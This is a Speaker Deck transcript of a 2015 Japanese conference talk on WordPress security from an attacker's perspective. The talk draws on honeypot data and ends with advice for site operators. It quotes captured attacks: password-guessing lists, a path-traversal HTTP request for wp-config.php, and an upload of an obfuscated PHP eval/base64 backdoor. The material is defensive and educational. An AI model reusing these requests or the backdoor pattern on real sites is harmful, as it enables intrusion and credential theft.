Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
Search
yoshinori matsumoto
July 27, 2015
Technology
8
4.6k
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
WordCamp Kansai 2015
2015/07/26
yoshinori matsumoto
July 27, 2015
Tweet
Share
More Decks by yoshinori matsumoto
See All by yoshinori matsumoto
WordPress セキュリティガイド #wpmeetupkyoto / WP Security Guide
ym405nm
6
3.2k
FIDO2導入してみたを考えてみた / Around The Auth Capy Matsumoto
ym405nm
0
140
Hack L33t Fighters Ⅱ #owaspsendai
ym405nm
0
230
WordPress保安検査ガイド〜運用可能なセキュリティを始めるために〜 / wpcamp_haneda_security
ym405nm
1
630
CAPYのFIDOへの取り組み / Capy FIDO
ym405nm
0
140
WordPress 管理者がおさえておきたい Web アプリケーションセキュリティ / owasp-wordpress-meetup
ym405nm
1
1.4k
Extreme Honyepotter
ym405nm
0
740
コミュニティ活動からみるPHPセキュリティ / PHP Conference Kansai 2015
ym405nm
0
460
Other Decks in Technology
See All in Technology
スクラムマスター不在でスクラムをやるのは(とても辛いので)やめておけ! #scrumfukuoka
nulabinc
PRO
4
890
「わたしたちのコード」を安定させるためにフレームワークとの距離を保つ / phperkaigi2024
blue_goheimochi
5
790
『LeanとDevOpsの科学』をきちんと解読する 〜Four Keys だけじゃ絶対もったいなくなる話〜
bonotake
27
6.5k
テストだけで品質は上がらない?! エセ自己組織化した品質組織からの脱却 / JaSST'24 Tokyo
visional_engineering_and_design
9
2.9k
Exadata Database Service on Dedicated Infrastructure(ExaDB-D) UI スクリーン・キャプチャ集
oracle4engineer
PRO
0
1.1k
プレイヤーとしてのチームのテスト力UP/Improving team skills for testing
goyoki
2
220
The Twelve-Factor App とクラウドアプリケーションのコスト
ny7760
3
260
UIからの自動テスト事例
tomasagi
8
3.3k
Azure AI サービス全体像と Prompt flow 紹介 - Forkwell Library
shohei1029
1
590
AWS IAM の結果整合性を避けるためセッションポリシーを用いてポリシーの動作確認を行う、を解説する
yukihirochiba
0
370
小さく始めるAnsible
stopendy
0
200
ECS on FargateへのSeekable OCI導入レポート
iwamot
0
260
Featured
See All Featured
A Philosophy of Restraint
colly
195
15k
Web Components: a chance to create the future
zenorocha
304
41k
Fashionably flexible responsive web design (full day workshop)
malarkey
397
65k
Bootstrapping a Software Product
garrettdimon
PRO
302
110k
Principles of Awesome APIs and How to Build Them.
keavy
119
16k
How To Stay Up To Date on Web Technology
chriscoyier
781
250k
Designing Experiences People Love
moore
135
23k
Mobile First: as difficult as doing things right
swwweet
215
8.5k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
19
1.6k
BBQ
matthewcrist
78
8.7k
From Idea to $5000 a Month in 5 Months
shpigford
376
45k
Gamification - CAS2011
davidbonilla
76
4.5k
Transcript
攻撃者からみた WordPressセキュリティ 松本 悦宜 @ym405nm 発表 2015/07/27 加筆修正 2015/07/28
自己紹介 • 松本 悦宜 (まつもと よしのり) • 神戸デジタル・ラボ セキュリティソリューション事業部 •
セキュリティ診断 / コンサルティング • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam HAXPO 2014, HTML5とか勉強会 • 共著:WordPressプロフェッショナル養成読本(技術評論社) • 脆弱性報告: Welcart、MailPoet Plugin など @ym405nm
目次 • 現状 • 攻撃者について • 実際に攻撃されてみた • 傾向と対策 •
まとめ
WordPress セキュリティの現状
WordPress = 狙われる? 熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性 http://www.security-next.com/056249l
現状 マルウェアが設置されているサイトのうち 19% が WordPressという調査も
脆弱性の数 昨年1年間に JVN に届けられている数は 17 件 http://jvndb.jvn.jp/
脆弱性の数 関連ソフトウェアも含めると 301 件 ※例外が含まれていたり、JVNに届けられていないものもあります 参考 Drupal : 81件
攻撃者について
誰がやってるのか? • ハクティビスト • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする • 改ざんしたものを目立つようにアピールする • マルウェア配布者 •
難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる • 標的型攻撃者グループ • 使用するマルウェアのホスティングとして使用する • 攻撃者と通信をし、他社への攻撃に利用される
ハクティビストによる攻撃事例 • よく見られる改ざんパターン HACKED BY A HACKER For Sale!! ①
攻撃者の名前や主張が 表示される場合 ② 偽ブランドサイトに 書き換えられる場合
(会場のみ)
標的型攻撃に利用される例 踏み台サイト (WordPress) 攻撃者 標的となる組織 ①マルウエア設置 ②標的型メール送信 ③誘導
なぜ狙うのか?
なぜWordPressを狙うのか • 圧倒的なユーザ数 • 行き届かないユーザ管理 • 100人以上の編集者を抱えるサイト • 編集者、管理者の面識がほとんどないサイト •
サードパーティ製ソフトウェアの普及 • テーマやプラグイン • セキュリティレベルはそれぞれの開発者に依存する
なぜWordPressを狙うのか • 古いバージョンは脆弱性がわかっている • 脆弱性情報から詳細が推測可能なものも • ソースコードから攻撃手法が推測可能 • 攻撃手法が公開されているものもある
WordPress ≠あぶない! • シェアが多いという点で狙われがちではあるが… • 本体のセキュリティに対する意識が高い • セキュリティ対策が増えてきた 危ないというイメージよりも、 安全に運用しようという意識が大事
どのように?
どのように狙われているのか • 攻撃者は弱そうな WordPress を狙っている • どこを狙えばいいのか • URLから特徴がわかるのか •
脆弱なソフトウェアを使用しているサイトを探す • 脆弱性情報を共有するメーリングリスト • 脆弱性売買サイト ※ただし WordPress 関連の脆弱性は 無料で配布されていることが多い データを集めてみた
実際に攻撃されてみた
攻撃を集めるには WordPress WordPress 攻撃者 なぜ攻撃されない? なぜ攻撃される?
攻撃を集めるには WordPress 攻撃者 攻撃されるコンテンツとは?
どのように狙われているのか WP BOT ログ解析 コンテンツ投稿 攻撃/スキャン 収集 WP WP Demo
収集した結果
最近多く見られる攻撃パターン • アカウントクラッキング • wp-config.php 情報の窃取 • ファイルアップロード 簡単に事例をみてみましょう! WordPressに対する攻撃
テーマ・プラグインに対する攻撃
アカウントクラッキング 試行パスワード 回数 [server-name]123456 96 0 72 [server-name]123 49 [server-name][server-name]
48 [server-name]000000 48 [server-name]111 48 [server-name]111111 48 [server-name]1234 48 [server-name]12345 48 [server-name]12345678 48 [server-name]123abc 48 [server-name]222 48 [server-name]222222 48 [server-name]333 48 [server-name]444 48 [server-name]555 48 [server-name]555555 48 [server-name]666 48 [server-name]666666 48 ※ 2014年3月~5月計測
wp-config.php 情報の窃取 POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux amd64)
AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Host: server Accept-Encoding: gzip Referer: http://server Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6 Accept-Language: en-us,en;q=0.8 Keep-Alive: 300 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4 Content-Length: 60 Content-Type: application/x-www-form-urlencoded _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php wp-config.php の内容を読み取ろうとしている (会場のみ) (会場のみ)
ファイルアップロード Content-Disposition: form-data; name="Filedata"; filename="ifire.php" Content-Type: text/plain <?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp
9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d 1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?> 既知のファイルアップロード機能に認証がない脆弱性を使用して PHPファイルをアップロードしようとしている アップロードされたファイルは 攻撃者の攻撃用ツールとして動作される
ファイルアップロードって? 画像 攻撃用 WordPress テーマ 攻撃者によるアップロード方法 外部からアクセス可能 セキュリティ用語では「バックドア」と呼ばれ 攻撃者とサーバの裏口/勝手口のように使われる
(会場のみ)
悪用事例 • ページを改ざんされる • データベースの情報を持っていかれる • 他のサーバ/サイトの攻撃の踏み台になる
運用者の対策
運用者の対策(鉄則編) • WordPress やテーマ・プラグインは最新版に保つ • アカウントの管理をしっかりする • パスワードは強度なものにする • テーマ
/ プラグインの選定をする • メンテナンス頻度 • 脆弱性情報への対応頻度 • 明らかに不要なものは無効→削除しておく
運用者の対策(応用編) • セキュリティ拡張機能(プラグイン)や、セキュ リティ製品の導入を検討する
運用者の対策 • あわせて対策したい • サーバの選定 • ログの確認(ログイン履歴、アクセスログ) • 脆弱性情報の収集
まとめ
まとめ • 今後もWordPressに対する攻撃は減らない • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す ることが多い • アカウントの管理や、テーマ
/ プラグインの管理を しっかりとする 安全なWordPressライフを!
おまけ
Follow me! 会員サイトとして、 適宜詳細データをお知らせする予定です 画面イメージ(開発中のものです) 今日ご紹介したデータは専用サイトにて公開予定 • 現在β版として運用中です • 正式版は有料アカウントとしてサービスの提供予定です
• 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス をご使用いただけます) http://wp-portal.net
ご清聴ありがとうございました Any Questions ? Mail :
[email protected]
Twitter : ym405nm
Facebook : facebook.com/ym405nm